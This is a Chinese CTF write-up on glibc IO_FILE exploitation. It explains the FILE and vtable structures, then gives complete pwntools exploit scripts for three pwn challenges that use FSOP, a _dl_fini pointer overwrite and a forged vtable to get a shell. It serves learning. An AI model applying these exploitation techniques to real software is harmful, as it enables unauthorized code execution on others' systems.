背景知识

在做关于IO FILE的攻击的时候,对其中涉及的数据结构的了解必不可少,以下是几个关键的数据结构

  1. FILE 结构
    定义在 libio.h 中,如下
struct _IO_FILE {int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags/* The following pointers correspond to the C++ streambuf protocol. *//* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */char* _IO_read_ptr;   /* Current read pointer */char* _IO_read_end;   /* End of get area. */char* _IO_read_base;  /* Start of putback+get area. */char* _IO_write_base; /* Start of put area. */char* _IO_write_ptr;  /* Current put pointer. */char* _IO_write_end;  /* End of put area. */char* _IO_buf_base;   /* Start of reserve area. */char* _IO_buf_end;    /* End of reserve area. *//* The following fields are used to support backing up and undo. */char *_IO_save_base; /* Pointer to start of non-current get area. */char *_IO_backup_base;  /* Pointer to first valid character of backup area */char *_IO_save_end; /* Pointer to end of non-current get area. */struct _IO_marker *_markers;struct _IO_FILE *_chain;int _fileno;
#if 0int _blksize;
#elseint _flags2;
#endif_IO_off_t _old_offset; /* This used to be _offset but it's too small.  */#define __HAVE_COLUMN /* temporary *//* 1+column number of pbase(); 0 is unknown. */unsigned short _cur_column;signed char _vtable_offset;char _shortbuf[1];/*  char* _save_gptr;  char* _save_egptr; */_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};struct _IO_FILE_complete
{struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T/* Wide character stream stuff.  */struct _IO_codecvt *_codecvt;struct _IO_wide_data *_wide_data;struct _IO_FILE *_freeres_list;void *_freeres_buf;
# elsevoid *__pad1;void *__pad2;void *__pad3;void *__pad4;
# endifsize_t __pad5;int _mode;/* Make sure we don't get into trouble again.  */char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

进程中的 FILE 结构会通过_chain 域彼此连接形成一个链表,链表头部用全局变量_IO_list_all 表示,通过这个值我们可以遍历所有的 FILE 结构。

但是事实上_IO_FILE 结构外包裹着另一种结构_IO_FILE_plus,其中包含了一个重要的指针 vtable 指向了一系列函数指针。

在 libc2.23 版本下,32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8

struct _IO_FILE_plus
{_IO_FILE    file;IO_jump_t   *vtable;
}

vtable 是 IO_jump_t 类型的指针,IO_jump_t 中保存了一些函数指针,在后面我们会看到在一系列标准 IO 函数中会调用这些函数指针

void * funcs[] = {1 NULL, // "extra word"2 NULL, // DUMMY3 exit, // finish4 NULL, // overflow5 NULL, // underflow6 NULL, // uflow7 NULL, // pbackfail8 NULL, // xsputn  #printf9 NULL, // xsgetn10 NULL, // seekoff11 NULL, // seekpos12 NULL, // setbuf13 NULL, // sync14 NULL, // doallocate15 NULL, // read16 NULL, // write17 NULL, // seek18 pwn,  // close19 NULL, // stat20 NULL, // showmanyc21 NULL, // imbue
};

在libc2.24之后(不过一般大家都是libc2.27即Ubuntu18),libc中加入了对vtable的检查,如下

IO_validate_vtable (const struct _IO_jump_t *vtable)
{/* Fast path: The vtable pointer is within the __libc_IO_vtablessection.  */uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;const char *ptr = (const char *) vtable;uintptr_t offset = ptr - __start___libc_IO_vtables;if (__glibc_unlikely (offset >= section_length))/* The vtable pointer is not in the expected section.  Use theslow path, which will terminate the process if necessary.  */_IO_vtable_check ();return vtable;
}

glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。

ciscn_2019_n_7(FSOP)


这题可以说是很标准的IO FILE attack的例题了
首先在add函数中有个溢出,可以修改后面edit的指针

在my_exit中执行了close()和exit()


在执行exit()时,系统会调用_IO_flush_all_lockp,其中关键代码如下

int
_IO_flush_all_lockp (int do_lock)
{...fp = (_IO_FILE *) _IO_list_all;while (fp != NULL){...if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))&& _IO_OVERFLOW (fp, EOF) == EOF){result = EOF;}...}
}

可以看到,如果满足fp->_mode <= 0并且fp->_IO_write_ptr > fp->_IO_write_base,就可以调用_IO_OVERFLOW
所以我们伪造处如下的_IO_2_1_stderr_来触发system('/bin/sh')

payload = '/bin/sh\x00' + p64(0)*4 + p64(1) + p64(0)*4 + p64(system)*4
payload = payload.ljust(0xd8, '\x00')
payload += p64(stderr+0x40)

最终EXP如下:

from pwn import *r = remote("node3.buuoj.cn", 29066)
#r = process("./ciscn_2019_n_7")context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:gdb.attach(r, '''   b *$rebase(0xA96)x/10gx $rebase(0x202018)c''')elf = ELF("./ciscn_2019_n_7")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]menu = "Your choice-> \n"
def add(size, name):r.recvuntil(menu)r.sendline('1')r.recvuntil("Input string Length: \n")r.sendline(str(size))r.recvuntil("Author name:\n")r.send(name)def show():r.recvuntil(menu)r.sendline('3')def edit(name, content):r.recvuntil(menu)r.sendline('2')r.recvuntil("New Author name:\n")r.sendline(name)r.recvuntil("New contents:\n")r.send(content)def backdoor():r.recvuntil(menu)r.sendline('666')backdoor()
puts_addr = int(r.recvuntil('\n').strip(), 16)
libc.address = puts_addr - libc.sym['puts']
success("libc:"+hex(libc.address))
system = libc.sym['system']
stderr = libc.sym['_IO_2_1_stderr_']payload = 'a'*8 + p64(libc.sym['_IO_2_1_stderr_'])
add(0xe0, payload)payload = '/bin/sh\x00' + p64(0)*4 + p64(1) + p64(0)*4 + p64(system)*4
payload = payload.ljust(0xd8, '\x00')
payload += p64(stderr+0x40)
edit('KMFL\n', payload)r.recvuntil(menu)
r.sendline('4')sleep(0.5)
r.sendline('exec 1>&0')
r.interactive()

hctf2018_the_end(修改_dl_fini函数指针)


这题原题似乎是在Ubuntu16上面的,当时还没有对vtable的check。但是BUU上面这题是Ubuntu18,加入了对vtable的检查,所以需要用新的办法绕过。本题借鉴了该文中的第三种攻击方法,即修改_dl_fini函数指针
下面简单说说我的做法:
在exit()函数中对调用_dl_fini,而在_dl_fini中会调用 _dl_rtld_unlock_recursive和 _dl_rtld_lock_recursive两个函数,而这两个函数是存在于_rtld_global结构中的函数指针

不过_rtld_global结构位于ld-2.27.so中,所以我们需要先计算ld_base。在Libc-2.27中,libc_base+0x3f1000=ld_base(至少在我的电脑和BUU上面是这样,大家可以自行调试看看)

不过我本地调试结果中,dl_rtld_lock_recursive 于_rtld_global的偏移是0xf00,0xf08是dl_rtld_unlock_recursive ,而且似乎只有dl_rtld_unlock_recursive 才有合适的gadget
所以我们先根据libc地址计算ld地址,然后得到_rtld_global的地址,用one_gadget覆写dl_rtld_unlock_recursive,就能get shell了

Exp如下:

from pwn import *#r = remote("node3.buuoj.cn", 25860)
#r = remote("127.0.0.1", 10001)
r = process("./hctf2018_the_end")context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 1
if DEBUG:gdb.attach(r, '''   b *$rebase(0x964)''')elf = ELF("./hctf2018_the_end")
libc = ELF('./libc/libc-2.27.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
ld = ELF('/lib/x86_64-linux-gnu/ld-2.27.so')
one_gadget_18 = [0x4f2c5,0x4f322,0x10a38c]
#one_gadget_18 = [0x4f365,0x4f3c2,0x10a45c]
r.recvuntil("here is a gift ")
sleep = int(r.recvuntil(',')[:-1], 16)
success("sleep:"+hex(sleep))
libc.address = sleep - libc.sym['sleep']
ld.address = libc.address + 0x3f1000
_rtld_global = ld.symbols['_rtld_global']
dl_rtld_lock_recursive_addr = _rtld_global + 0xf08one_gadget0 = libc.address + one_gadget_18[0]
success("one_gadget0:"+hex(one_gadget0))
one_gadget1 = libc.address + one_gadget_18[1]
success("one_gadget1:"+hex(one_gadget1))
one_gadget2 = libc.address + one_gadget_18[2]
success("one_gadget2:"+hex(one_gadget2))
one_gadget3 = libc.address + 0xe569f
success("one_gadget3:"+hex(one_gadget3))for i in range(5):r.send(p64(dl_rtld_lock_recursive_addr + i))r.send(p64(one_gadget1)[i])r.sendline('exec 1>&0')
r.interactive()

camp(伪造vtable)

这题是蓝帽杯的题目,因为当时对IO的攻击不了解所以没有做出来。
其实和上面ciscn那题差不多。首先我们在stderr中伪造vtable,然后修改stdout中的vtable,这样就能get shell了
原理是puts会调用vtable 中的_IO_sputn,而我们已经把vtable 中的_IO_sputn改为system了

from pwn import *#r = remote("183.129.189.60", 10027)
r = process("./camp/pwn")
DEBUG = 1
if DEBUG:gdb.attach(r, '''b *$rebase(0x13FF)x/20gx $rebase(0x202040)c''')
context.log_level = 'debug'elf = ELF("./camp/pwn")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]menu = ">>>\n"
def copy_stdout(size, payload):r.recvuntil(menu)r.sendline('1')r.recvuntil("size:\n")r.sendline(str(size))r.recvuntil("content:\n")r.send(payload)def copy_stdin(size, payload):r.recvuntil(menu)r.sendline('2')r.recvuntil("size:\n")r.sendline(str(size))r.recvuntil("content:\n")r.send(payload)def copy_stderr(size, payload):r.recvuntil(menu)r.sendline('3')r.recvuntil("size:\n")r.sendline(str(size))r.recvuntil("content:\n")r.send(payload)def show():r.recvuntil(menu)r.sendline('4')def clear():r.recvuntil(menu)r.sendline('5')def close():r.recvuntil(menu)r.sendline('6')copy_stderr(0x80, 'chunk0')
copy_stderr(0x10, 'chunk1')
clear()
copy_stderr(0x80, 'a'*8)
show()
r.recvuntil('a'*8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
success("libc:"+hex(libc.address))
system = libc.sym['system']
stderr = libc.sym['_IO_2_1_stderr_']
success("stderr:"+hex(stderr))
stdout = libc.sym['_IO_2_1_stdout_']
success("stdout:"+hex(stdout))
stdin = libc.sym['_IO_2_1_stdin_']
success("stdin:"+hex(stdin))
payload = p64(0)*7 + p64(system)*8
copy_stderr(len(payload), payload)payload = '/bin/sh\x00' + p64(stdout+131)*7 + p64(stdout+132) + p64(0) * 4 + p64(stdin) + p64(1) + p64(0xffffffffffffffff)
payload += p64(0xa000000) + p64(libc.address+0x3c6780)
payload += p64(0xffffffffffffffff) + p64(0) + p64(libc.address+0x3c47a0) + p64(0) * 3 + p64(0x00000000ffffffff)
payload += p64(0) * 2 + p64(stderr)
copy_stdout(len(payload), payload)r.interactive()

BUUCTF-PWN刷题记录25(IO file attack)相关推荐

  1. buuctf rsa刷题记录(记几种类型的RSA攻击二)

    前言 最近学习了点儿rsa这里总结以下我的buctf rsa部分刷题记录 dp,dp泄露 场景描述: 假设题目仅给出p,q,dp,dq,c,即不给公钥e 这种参数是为了让解密的时候更快速产生的 dp= ...

  2. BUUCTF PWN 刷题 1-15题

    1 rip 经典栈溢出漏洞. from pwn import *p = remote('node4.buuoj.cn', 27181)payload = b'a' * 23 + p64(0x40118 ...

  3. BUUCTF刷题记录(7)

    文章目录 web [NPUCTF2020]ezinclude [NPUCTF2020]ReadlezPHP [GXYCTF2019]BabysqliV3.0 非预期1 非预期2 预期 [NCTF201 ...

  4. BUUCTF-2020寒假刷题记录

    BUUCTF-2020寒假刷题记录 Web [RoarCTF 2019]Easy Calc 打开源码,看到calc.php,打开看到源码. 在 num 前面加个空格即可绕过 ? num=phpinfo ...

  5. 算法笔记CodeUp第一至第六章刷题记录

    文章目录 <算法笔记>2.2小节--C/C++快速入门->顺序结构 1.例题1-1-1 按要求输出信息(1) 2.例题1-1-2 按要求输出信息(2) 3.例题1-2-1 求两个整数 ...

  6. 攻防世界misc高手进阶区刷题记录

    攻防世界misc高手进阶区刷题记录 easycap 解压出来之后为一个pcap文件,使用wireshark打开 右键追踪TCP数据流即可获得flag flag:385b87afc8671dee0755 ...

  7. ACM比赛经验、刷题记录及模板库总结(更新中)

    前言 本文所提及的部分题目代码,可以在我的Github上找到 第一部分 经验分享及感受 第二部分 刷题记录 一.基础算法&程序语言 //strlen()函数的复杂度是O(n)要小心 //截取字 ...

  8. Codeforces 刷题记录(已停更)

    Codeforces 每日刷题记录 (已停更) 打'+'是一些有启发意义的题目,部分附上一句话题解,每日更新3题,大部分题目较水. Day ID Problem Tutorial Note 1 1 + ...

  9. 【牛客刷题记录】2021-03-10

    牛客代码刷题记录1 问题一 给定一个数组序列, 需要求选出一个区间, 使得该区间是所有区间中经过如下计算的值最大的一个: 区间中的最小数 * 区间所有数的和最后程序输出经过计算后的最大值即可,不需要输 ...

最新文章

  1. js 实现多选框(复选框) 和单选框,下拉框功能完整示例代码附效果图
  2. 大量LAST_ACK 的分析过程
  3. 权限提升 T1548.002 绕过UAC
  4. day29Struts 类型转换和自定义类型转换,input视图
  5. 深究AngularJS——ui-router详解
  6. 【SpringBoot零基础案例06】【IEDA 2021.1】多环境下.properties配置文件的使用
  7. 图数据库_ONgDB图数据库与Spark的集成
  8. 【原创】开源Math.NET基础数学类库使用(05)C#解析Delimited Formats数据格式
  9. (84)Verilog HDL:四舍五入
  10. Spring面试之bean作用域
  11. 禁用sslv3协议linux,SSLv3协议漏洞修复方法
  12. 均值滤波python实现_python手写均值滤波
  13. R_ggplot2基础(四)
  14. JAVA 线程池的分析和使用
  15. dism 分割镜像_2019系统教程,如何拆分WIM镜像里面多余的子映像、控制体积-映像文件怎么打开...
  16. 没有人能拒绝这个网站,没有人!!!
  17. 运营实操:亚马逊运营的顶级思维
  18. catdog matlab,猫狗收养所 - ranjiewen的个人空间 - OSCHINA - 中文开源技术交流社区
  19. 某校2019专硕编程题-前10名学生成绩
  20. java情剑天涯,求超低内存的手机游戏,越多越好

热门文章

  1. 数据结构考试的一些选择题
  2. 服务器五大相关基础知识【转】
  3. LeetCode高频题300. 最长递增子序列
  4. mac latex与texstudio安装
  5. 好难过!八年深漂,搞Android开发要价50万,面了六家公司,竟一个offer都没拿到!
  6. 初次安装mysql 如何启动_CentOS第一次安装MySQL的完整步骤
  7. java中三目运算符详解
  8. npm和yarn清除缓存
  9. Criteria和DetachedCriteria
  10. 云图-CADViewerX 7.X OCX